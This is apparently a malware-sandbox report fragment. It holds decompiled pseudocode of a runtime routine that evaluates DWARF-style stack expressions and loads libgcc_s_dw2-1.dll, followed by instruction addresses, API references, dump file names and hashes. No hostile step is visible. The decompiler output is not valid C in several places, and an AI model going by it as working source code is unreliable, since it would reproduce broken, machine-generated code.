									__eflags = __ebp;
									if(__ebp == 0) {
										goto L130;
									} else {
										__edi =  *(__esp + 0x2c + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L143;
								case 0xb:
									goto L59;
								case 0xc:
									__ebp = _a20;
									__eflags = __ebp - 1;
									if(__ebp <= 1) {
										goto L130;
									} else {
										__edi =  *(__esp + 0x28 + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L143;
								case 0xd:
									__ebp = _a20;
									__ecx =  *(__esi + 1) & 0x000000ff;
									__edx = __esi + 2;
									__eax =  &_v1;
									__eflags = __ecx - __eax;
									if(__ecx >= __eax) {
										goto L130;
									} else {
										__eax = __eax - __ecx;
										__esi = __edx;
										__edi =  *(__esp + 0x30 + __eax * 4);
										goto L10;
									}
									goto L143;
								case 0xe:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L130;
									} else {
										__edx = __eax - 1;
										__eax = __eax - 2;
										__esi =  *(__esp + 0x30 + __eax * 4);
										__ecx =  *(__esp + 0x30 + __edx * 4);
										 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
										__esi = __ebx;
										 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
										goto L12;
									}
									goto L143;
								case 0xf:
									__eax = _a20;
									__eflags = __eax - 2;
									if(__eax <= 2) {
										goto L130;
									} else {
										__ecx = __eax - 1;
										__edx = __eax - 2;
										__eax = __eax - 3;
										__esi =  *(__esp + 0x30 + __ecx * 4);
										__ebp =  *(__esp + 0x30 + __edx * 4);
										__edi =  *(__esp + 0x30 + __eax * 4);
										 *(__esp + 0x30 + __ecx * 4) = __ebp;
										 *(__esp + 0x30 + __edx * 4) = __edi;
										 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
										__esi = __ebx;
										goto L12;
									}
									goto L143;
								case 0x10:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L130;
									} else {
										__ebp = __eax - 2;
										__edx = __edx - 0x1a;
										__ecx =  *(__esp + 0x2c + __eax * 4);
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x14;
										if(__dl > 0x14) {
											goto L97;
										} else {
											__edx = __dl & 0x000000ff;
											switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M005C3FCC))) {
												case 0:
													goto L112;
												case 1:
													goto L113;
												case 2:
													goto L114;
												case 3:
													goto L115;
												case 4:
													goto L116;
												case 5:
													goto L97;
												case 6:
													goto L117;
												case 7:
													goto L118;
												case 8:
													goto L119;
												case 9:
													goto L120;
												case 0xa:
													goto L121;
												case 0xb:
													goto L122;
												case 0xc:
													goto L123;
												case 0xd:
													goto L124;
												case 0xe:
													goto L125;
												case 0xf:
													goto L126;
												case 0x10:
													goto L127;
												case 0x11:
													goto L128;
											}
										}
										goto L10;
									}
									goto L143;
								case 0x11:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L130;
									} else {
										__eax = __eax - 1;
										__edi = __eax;
										_a20 = __eax;
										__eax = __esi + 3;
										__edx =  *(__esp + 0x30 + __edi * 4);
										__eflags =  *(__esp + 0x30 + __edi * 4);
										if( *(__esp + 0x30 + __edi * 4) == 0) {
											__esi = __eax;
										} else {
											__esi =  *(__esi + 1);
											__esi = __esi + __eax;
										}
										goto L12;
									}
									goto L143;
								case 0x12:
									__eax =  *(__esi + 1);
									__esi = __esi +  *(__esi + 1) + 3;
									goto L12;
								case 0x13:
									__edi = __eax - 0x30;
									__ebp = _a20;
									__esi = __ebx;
									goto L10;
								case 0x14:
									__eax = __eax - 0x50;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L130;
									} else {
										__esi = _a28;
										__edx =  *(__eax + 0x6073f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L53:
											__eflags = __dl - 4;
											if(__dl == 4) {
												goto L39;
											} else {
												goto L130;
											}
										} else {
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												goto L95;
											} else {
												goto L53;
											}
										}
									}
									goto L143;
								case 0x15:
									__ebp = 0;
									__ecx = 0;
									__eflags = 0;
									__esi = __eax;
									do {
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										__eax = __eax & 0x0000007f;
										__edx = (__eax & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__ebp = __ebp | (__eax & 0x0000007f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__edi = __eax;
									__eax = __esi;
									__esi = __edi;
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__esi = __esi & 0x00000040;
										__eflags = __esi;
										if(__esi != 0) {
											1 = 1 << __cl;
											__edx =  ~(1 << __cl);
											__ebp = __ebp |  ~(1 << __cl);
										}
									}
									__eax = __eax - 0x70;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L130;
									} else {
										__esi = _a28;
										__edx =  *(__eax + 0x6073f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L47:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L130;
											} else {
												__edi =  *__edi;
												goto L49;
											}
										} else {
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												L49:
												__edi = __edi + __ebp;
												__esi = __ebx;
												__ebp = _a20;
												goto L10;
											} else {
												goto L47;
											}
										}
									}
									goto L143;
								case 0x16:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L130;
									} else {
										__ecx = _a28;
										__eax =  *(__esi + 0x6073f4) & 0x000000ff;
										__edi =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L38:
											__eflags = __al - 4;
											if(__al != 4) {
												goto L130;
											} else {
												L39:
												__edi =  *__edi;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											}
										} else {
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L95:
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L38;
											}
										}
									}
									goto L143;
								case 0x17:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__edx = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__eflags = __al & 0x00000040;
										if((__al & 0x00000040) != 0) {
											1 = 1 << __cl;
											__eax =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L130;
									} else {
										__ecx = _a28;
										__edx =  *(__esi + 0x6073f4) & 0x000000ff;
										__eax =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L80:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L130;
											} else {
												__eax =  *__eax;
												goto L82;
											}
										} else {
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L82:
												__edi = __edi + __eax;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L80;
											}
										}
									}
									goto L143;
								case 0x18:
									__esi = __ebx;
									goto L12;
								case 0x19:
									__ebx =  *(__esi + 1) & 0x000000ff;
									__edx = _a28;
									__edi =  &_a44;
									__eax = __ebx;
									__eax = L00420C00(__ebx, __ecx, _a28);
									 *__esp =  &_a44;
									__ecx = __esi + 2;
									__edx = __eax;
									__eax = __ebx;
									__eax = E00420AC0(__ebx, __esi + 2, __edx);
									__edi = _a44;
									__ebp = _a20;
									__esi = __eax;
									goto L10;
								case 0x1a:
									L112:
									__edi = __edi & __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1b:
									L113:
									__eax = __edi;
									__esi = __ebx;
									asm("cdq");
									_t169 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t169;
									__edi = __eax;
									goto L10;
								case 0x1c:
									L114:
									__edi = __edi - __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1d:
									L115:
									__eax = __edi;
									__edx = 0;
									__esi = __ebx;
									_t173 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t173;
									__edi = _t173;
									goto L10;
								case 0x1e:
									L116:
									__edi = __edi * __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1f:
									L117:
									__edi = __edi | __ecx;
									__esi = __ebx;
									goto L10;
								case 0x20:
									L118:
									__edi = __edi + __ecx;
									__esi = __ebx;
									goto L10;
								case 0x21:
									L119:
									__edi = __edi << __cl;
									__esi = __ebx;
									goto L10;
								case 0x22:
									L120:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x23:
									L121:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x24:
									L122:
									__edi = __edi ^ __ecx;
									__esi = __ebx;
									goto L10;
								case 0x25:
									L123:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags == 0x00000000;
									__edi = __eflags == 0;
									goto L10;
								case 0x26:
									L124:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags >= 0x00000000;
									__edi = __eflags >= 0;
									goto L10;
								case 0x27:
									L125:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags > 0x00000000;
									__edi = __eflags > 0;
									goto L10;
								case 0x28:
									L126:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags <= 0x00000000;
									__edi = __eflags <= 0;
									goto L10;
								case 0x29:
									L127:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags < 0x00000000;
									__edi = __eflags < 0;
									goto L10;
								case 0x2a:
									L128:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags != 0x00000000;
									__edi = __eflags != 0;
									L10:
									__eflags = __ebp - 0x3f;
									if(__ebp > 0x3f) {
										goto L130;
									} else {
										__eax =  &_a1;
										 *(__esp + 0x30 + __ebp * 4) = __edi;
										_a20 =  &_a1;
										goto L12;
									}
									goto L143;
							}
						}
						L143:
					}
					__eax = _a20;
					if(__eax == 0) {
						break;
					} else {
						__eax =  *(__esp + 0x2c + __eax * 4);
						__esp = __esp + 0x13c;
						_pop(__ebx);
						_pop(__esi);
						return __eax;
					}
					goto L143;
				}
				L130:
				abort();
				L0042F4C0();
				abort();
				abort();
				abort();
				L0042F4C0();
				L0042F4C0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_t207 = _t206 - 0x1c;
				 *_t207 = "libgcc_s_dw2-1.dll";
				_t188 = GetModuleHandleA(_t194);
				_t208 = _t207 - 4;
				if(_t188 == 0) {
					 *0x4b6004 = 0x424590;
					_t201 = E00424340;
				} else {
					_t196 = _t188;
					 *_t208 = "libgcc_s_dw2-1.dll";
					_t191 = LoadLibraryA(??);
					_t210 = _t208 - 4;
					 *0x607df0 = _t191;
					_v40 = "__register_frame_info";
					 *_t210 = _t196;
					_t192 = GetProcAddress(??, ??);
					_t211 = _t210 - 8;
					_t201 = _t192;
					_v40 = "__deregister_frame_info";
					 *_t211 = _t196;
					 *0x4b6004 = GetProcAddress(??, ??);
					_t208 = _t211 - 8;
				}
				if(_t201 != 0) {
					_v40 = 0x60701c;
					 *_t208 = 0x5ca0f8;
					 *_t201();
				}
				 *_t208 = 0x401590;
				return E004014C0();
				goto L143;
			}

0x00421d8c
0x00421d90
0x00421d90
0x00421d90
0x00421d96
0x00000000
0x00000000
0x00421d9c
0x00421d9f
0x00421da1
0x00421b34
0x00421b34
0x00421b38
0x00000000
0x00000000
0x00421af0
0x00421af3
0x00421af6
0x00421afe
0x00421fb9
0x00421fb9
0x00000000
0x00421b04
0x00421b04
0x00421b07
0x00000000
0x00421b10
0x00421b14
0x00421b17
0x00421b17
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ba0
0x00421ba4
0x00421ba6
0x00000000
0x00421bac
0x00421bac
0x00421bae
0x00421bb1
0x00421bb5
0x00421bb8
0x00422059
0x0042205b
0x00421bbe
0x00421bbe
0x00421fc0
0x00421fc0
0x00421fc3
0x00421fd0
0x00421fd3
0x00000000
0x00421fd5
0x00421fd5
0x00421fd7
0x00421fd9
0x00421fdc
0x00421fde
0x00421fde
0x00421fc5
0x00421fc5
0x00421fc7
0x00421fc7
0x00421bc4
0x00421bc4
0x00421bc7
0x00421ff0
0x00421ff2
0x00421ff2
0x00421ff4
0x00421ff4
0x00421ff7
0x00421ffd
0x00422000
0x00422002
0x00422005
0x00422007
0x00422007
0x0042200b
0x0042200d
0x00421bcd
0x00421bcd
0x00421bd0
0x00421fb0
0x00421fb3
0x00422050
0x00422052
0x00000000
0x00000000
0x00000000
0x00421bd6
0x00421bd6
0x00421bda
0x00421bdd
0x00421bdf
0x00422131
0x00422134
0x00421be5
0x00421be5
0x00422034
0x00422036
0x00000000
0x0042203c
0x0042203c
0x0042203f
0x0042203f
0x00421beb
0x00421beb
0x00421bed
0x00421bf7
0x00421bf7
0x00421bf9
0x00421bef
0x00421bef
0x00421bf1
0x00000000
0x00000000
0x00000000
0x00000000
0x00421bf1
0x00421bed
0x00421be5
0x00421bdf
0x00421bd0
0x00421bc7
0x00421bbe
0x00000000
0x00421bb8
0x00000000
0x00000000
0x00421b90
0x00421b94
0x00421b98
0x00000000
0x00000000
0x00421b80
0x00421b84
0x00421b88
0x00000000
0x00000000
0x00421b72
0x00421b76
0x00421b7a
0x00000000
0x00000000
0x00421b65
0x00421b69
0x00421b6d
0x00000000
0x00000000
0x00421b55
0x00421b58
0x00421b5c
0x00000000
0x00000000
0x00421e13
0x00421e15
0x00421e17
0x00421e17
0x00421e20
0x00421e20
0x00421e23
0x00421e29
0x00421e2c
0x00421e2e
0x00421e31
0x00421e33
0x00421e33
0x00421e37
0x00000000
0x00000000
0x00421dd0
0x00421dd2
0x00421dd2
0x00421dd4
0x00421dd4
0x00421dd7
0x00421ddd
0x00421de0
0x00421de2
0x00421de5
0x00421de7
0x00421de7
0x00421deb
0x00421dee
0x00000000
0x00421df4
0x00421df4
0x00421df4
0x00421df7
0x00000000
0x00421dfd
0x00421dfd
0x00421e02
0x00421e06
0x00421e0a
0x00421e0c
0x00421e0c
0x00421df7
0x00000000
0x00000000
0x00421db0
0x00421db4
0x00421db6
0x00000000
0x00421dbc
0x00421dbc
0x00421dc0
0x00000000
0x00421dc0
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d73
0x00421d77
0x00421d7a
0x00000000
0x00421d80
0x00421d80
0x00421d84
0x00000000
0x00421d84
0x00000000
0x00000000
0x00421d50
0x00421d54
0x00421d58
0x00421d5b
0x00421d5e
0x00421d60
0x00000000
0x00421d66
0x00421d66
0x00421d68
0x00421d6a
0x00000000
0x00421d6a
0x00000000
0x00000000
0x00421f45
0x00421f49
0x00421f4c
0x00000000
0x00421f52
0x00421f52
0x00421f55
0x00421f58
0x00421f5c
0x00421f60
0x00421f64
0x00421f66
0x00000000
0x00421f66
0x00000000
0x00000000
0x00421f10
0x00421f14
0x00421f17
0x00000000
0x00421f1d
0x00421f1d
0x00421f20
0x00421f23
0x00421f26
0x00421f2a
0x00421f2e
0x00421f32
0x00421f36
0x00421f3a
0x00421f3e
0x00000000
0x00421f3e
0x00000000
0x00000000
0x00421f70
0x00421f74
0x00421f77
0x00000000
0x00421f7d
0x00421f7d
0x00421f80
0x00421f83
0x00421f87
0x00421f8b
0x00421f8e
0x00000000
0x00421f90
0x00421f90
0x00421f93
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00421f93
0x00000000
0x00421f8e
0x00000000
0x00000000
0x00421ec0
0x00421ec4
0x00421ec6
0x00000000
0x00421ecc
0x00421ecc
0x00421ecf
0x00421ed1
0x00421ed5
0x00421ed8
0x00421edc
0x00421ede
0x00421fe5
0x00421ee4
0x00421ee4
0x00421ee8
0x00421ee8
0x00000000
0x00421ede
0x00000000
0x00000000
0x00421f00
0x00421f04
0x00000000
0x00000000
0x00421ef0
0x00421ef3
0x00421ef7
0x00000000
0x00000000
0x00421d10
0x00421d13
0x00421d16
0x00000000
0x00421d1c
0x00421d1c
0x00421d20
0x00421d27
0x00421d2a
0x00421d2e
0x00421d3b
0x00421d3b
0x00421d3e
0x00000000
0x00421d44
0x00000000
0x00421d44
0x00421d30
0x00421d30
0x00421d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00421d35
0x00421d2e
0x00000000
0x00000000
0x00421c90
0x00421c92
0x00421c92
0x00421c94
0x00421ca0
0x00421ca0
0x00421ca3
0x00421ca9
0x00421cac
0x00421cae
0x00421cb1
0x00421cb3
0x00421cb3
0x00421cb7
0x00421cb9
0x00421cbb
0x00421cbd
0x00421cc0
0x00421cc2
0x00421cc2
0x00421cc5
0x00422029
0x0042202b
0x0042202d
0x0042202d
0x00421cc5
0x00421ccb
0x00421cce
0x00421cd1
0x00000000
0x00421cd7
0x00421cd7
0x00421cdb
0x00421ce2
0x00421ce5
0x00421ce9
0x00421cf2
0x00421cf2
0x00421cf5
0x00000000
0x00421cfb
0x00421cfb
0x00000000
0x00421cfb
0x00421ceb
0x00421ceb
0x00421cf0
0x00421cfd
0x00421cfd
0x00421cff
0x00421d01
0x00000000
0x00000000
0x00000000
0x00000000
0x00421cf0
0x00421ce9
0x00000000
0x00000000
0x00421c31
0x00421c33
0x00421c33
0x00421c35
0x00421c35
0x00421c38
0x00421c3e
0x00421c41
0x00421c43
0x00421c46
0x00421c48
0x00421c48
0x00421c4c
0x00421c4f
0x00000000
0x00421c55
0x00421c55
0x00421c59
0x00421c60
0x00421c63
0x00421c67
0x00421c74
0x00421c74
0x00421c76
0x00000000
0x00421c7c
0x00421c7c
0x00421c7c
0x00421c7e
0x00421c82
0x00000000
0x00421c82
0x00421c69
0x00421c69
0x00421c6e
0x00421fa0
0x00421fa0
0x00421fa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00421c6e
0x00421c67
0x00000000
0x00000000
0x00421e40
0x00421e42
0x00421e42
0x00421e44
0x00421e44
0x00421e47
0x00421e4d
0x00421e50
0x00421e52
0x00421e55
0x00421e57
0x00421e57
0x00421e5b
0x00421e5d
0x00421e5d
0x00421e60
0x00421e60
0x00421e63
0x00421e69
0x00421e6c
0x00421e6e
0x00421e71
0x00421e73
0x00421e73
0x00421e77
0x00421e7a
0x00421e7c
0x00421e7e
0x00422019
0x0042201b
0x0042201d
0x0042201d
0x00421e7e
0x00421e84
0x00421e87
0x00000000
0x00421e8d
0x00421e8d
0x00421e91
0x00421e98
0x00421e9b
0x00421e9f
0x00421ea8
0x00421ea8
0x00421eab
0x00000000
0x00421eb1
0x00421eb1
0x00000000
0x00421eb1
0x00421ea1
0x00421ea1
0x00421ea6
0x00421eb3
0x00421eb3
0x00421eb5
0x00421eb9
0x00000000
0x00000000
0x00000000
0x00000000
0x00421ea6
0x00421e9f
0x00000000
0x00000000
0x00421b61
0x00000000
0x00000000
0x00421c00
0x00421c04
0x00421c08
0x00421c0c
0x00421c0e
0x00421c13
0x00421c16
0x00421c19
0x00421c1b
0x00421c1d
0x00421c22
0x00421c26
0x00421c2a
0x00000000
0x00000000
0x00422062
0x00422062
0x00422064
0x00000000
0x00000000
0x0042206b
0x0042206b
0x0042206d
0x0042206f
0x00422070
0x00422070
0x00422070
0x00422072
0x00000000
0x00000000
0x00422079
0x00422079
0x0042207b
0x00000000
0x00000000
0x00422082
0x00422082
0x00422084
0x00422086
0x00422088
0x00422088
0x00422088
0x0042208a
0x00000000
0x00000000
0x00422091
0x00422091
0x00422094
0x00000000
0x00000000
0x0042209b
0x0042209b
0x0042209d
0x00000000
0x00000000
0x004220a4
0x004220a4
0x004220a6
0x00000000
0x00000000
0x004220ad
0x004220ad
0x004220af
0x00000000
0x00000000
0x004220b6
0x004220b6
0x004220b8
0x00000000
0x00000000
0x004220bf
0x004220bf
0x004220c1
0x00000000
0x00000000
0x004220c8
0x004220c8
0x004220ca
0x00000000
0x00000000
0x004220d1
0x004220d1
0x004220d3
0x004220d5
0x004220d7
0x004220da
0x00000000
0x00000000
0x004220e1
0x004220e1
0x004220e3
0x004220e5
0x004220e7
0x004220ea
0x00000000
0x00000000
0x004220f1
0x004220f1
0x004220f3
0x004220f5
0x004220f7
0x004220fa
0x00000000
0x00000000
0x00422101
0x00422101
0x00422103
0x00422105
0x00422107
0x0042210a
0x00000000
0x00000000
0x00422111
0x00422111
0x00422113
0x00422115
0x00422117
0x0042211a
0x00000000
0x00000000
0x00422121
0x00422121
0x00422123
0x00422125
0x00422127
0x0042212a
0x00421b20
0x00421b20
0x00421b23
0x00000000
0x00421b29
0x00421b29
0x00421b2c
0x00421b30
0x00000000
0x00421b30
0x00000000
0x00000000
0x00421b07
0x00000000
0x00421afe
0x00421b3a
0x00421b40
0x00000000
0x00421b46
0x00421b46
0x00421b4a
0x00421b50
0x00421b51
0x00421b54
0x00421b54
0x00000000
0x00421b40
0x004ae616
0x004ae616
0x004ae61b
0x004ae620
0x004ae625
0x004ae62a
0x004ae62f
0x004ae634
0x004ae639
0x004ae63e
0x004ae643
0x004ae648
0x004ae650
0x004ae655
0x004ae65a
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004AE616
abort.MSVCRT ref: 004AE61B
abort.MSVCRT ref: 004AE620
abort.MSVCRT(00422CFB), ref: 004AE625
abort.MSVCRT(00422CFB), ref: 004AE62A
abort.MSVCRT(00422CFB), ref: 004AE62F
abort.MSVCRT(00422CFB), ref: 004AE634
abort.MSVCRT(00422CFB), ref: 004AE639
abort.MSVCRT(00422CFB), ref: 004AE63E
abort.MSVCRT(00422CFB), ref: 004AE643
abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 8dfe48c9c01e6dc569c7ea5349fbc556717a503c089412c9cd36cc1c04c28439
Instruction ID: b59cc974a14ea5568fdce104cf0be22c569fbed88f80fbcdda042e1ace9e2935
Opcode Fuzzy Hash: 8dfe48c9c01e6dc569c7ea5349fbc556717a503c089412c9cd36cc1c04c28439
Instruction Fuzzy Hash: 1AD05E20B06222864220BE7A614102BA1B46E25B4CBC22E3FA449E3102E958F909412F

Uniqueness

Uniqueness Score: -1.00%

Function 00421D73 Relevance: 21.0, APIs: 14, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E00421D73(CHAR* __ebx, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t188;
				struct HINSTANCE__* _t191;
				_Unknown_base(*)()* _t192;
				CHAR* _t194;
				struct HINSTANCE__* _t196;
				_Unknown_base(*)()* _t201;
				signed int _t203;
				void* _t206;
				char** _t207;
				char** _t208;
				struct HINSTANCE__** _t210;
				struct HINSTANCE__** _t211;

				L0:
				while(1) {
					L0:
					_t194 = __ebx;
					_t203 = _a20;
					if(_t203 <= 1) {
						break;
					}
					L57:
					__edi =  *(__esp + 0x28 + __ebp * 4);
					__esi = __ebx;
					while(1) {
						L10:
						if(__ebp > 0x3f) {
							goto L129;
						}
						L11:
						__eax =  &_a1;
						 *(__esp + 0x30 + __ebp * 4) = __edi;
						_a20 =  &_a1;
						while(1) {
							L12:
							if(_a24 <= __esi) {
								break;
							}
							L7:
							__eax =  *__esi & 0x000000ff;
							__ebx = __esi + 1;
							__ecx = __eax - 3;
							if(__cl > 0xee) {
								L96:
								abort();
								goto L97;
							} else {
								L8:
								__ecx = __cl & 0x000000ff;
								switch( *((intOrPtr*)(__ecx * 4 +  &M005C3C10))) {
									case 0:
										L9:
										__ebp = _a20;
										__edi =  *(__esi + 1);
										__esi = __esi + 5;
										__eflags = __esi;
										goto L10;
									case 1:
										goto L96;
									case 2:
										L22:
										__eax = _a20;
										__eflags = __eax;
										if(__eax == 0) {
											goto L129;
										} else {
											L23:
											__ebp = __eax;
											__ebp =  &_v1;
											__edi =  *(__esp + 0x30 + __ebp * 4);
											__eflags = __dl - 0x1f;
											if(__eflags == 0) {
												L110:
												__edi =  ~__edi;
												__esi = __ebx;
											} else {
												L24:
												if(__eflags <= 0) {
													L97:
													__eflags = __dl - 6;
													if(__dl != 6) {
														L99:
														__eflags = __dl - 0x19;
														if(__dl != 0x19) {
															goto L96;
														} else {
															L100:
															__eax = __edi;
															__esi = __ebx;
															__eax = __edi >> 0x1f;
															__edi = __edi ^ __eax;
															__edi = __edi - __eax;
														}
													} else {
														L98:
														__edi =  *__edi;
														__esi = __ebx;
													}
												} else {
													L25:
													__eflags = __dl - 0x23;
													if(__dl == 0x23) {
														L102:
														__esi = 0;
														__ecx = 0;
														__eflags = 0;
														do {
															L103:
															__ebx = __ebx + 1;
															__edx =  *(__ebx - 1) & 0x000000ff;
															 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
															__eax = ( *(__ebx - 1) & 0x7f) << __cl;
															__ecx = __ecx + 7;
															__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
															__eflags = __dl;
														} while (__dl < 0);
														__edi = __edi + __esi;
														__esi = __ebx;
													} else {
														L26:
														__eflags = __dl - 0x94;
														if(__dl != 0x94) {
															L95:
															__eflags = __dl - 0x20;
															if(__dl == 0x20) {
																L109:
																__edi =  !__edi;
																__esi = __ebx;
															} else {
																goto L96;
															}
														} else {
															L27:
															__eax =  *(__esi + 1) & 0x000000ff;
															__edx = __esi + 2;
															__eflags = __al - 2;
															if(__eflags == 0) {
																L128:
																__edi =  *__edi & 0x0000ffff;
																__esi = __edx;
															} else {
																L28:
																if(__eflags <= 0) {
																	L107:
																	__eflags = __al - 1;
																	if(__al != 1) {
																		goto L96;
																	} else {
																		L108:
																		__edi =  *__edi & 0x000000ff;
																		__esi = __edx;
																	}
																} else {
																	L29:
																	__eflags = __al - 4;
																	if(__al == 4) {
																		L31:
																		__edi =  *__edi;
																		__esi = __edx;
																	} else {
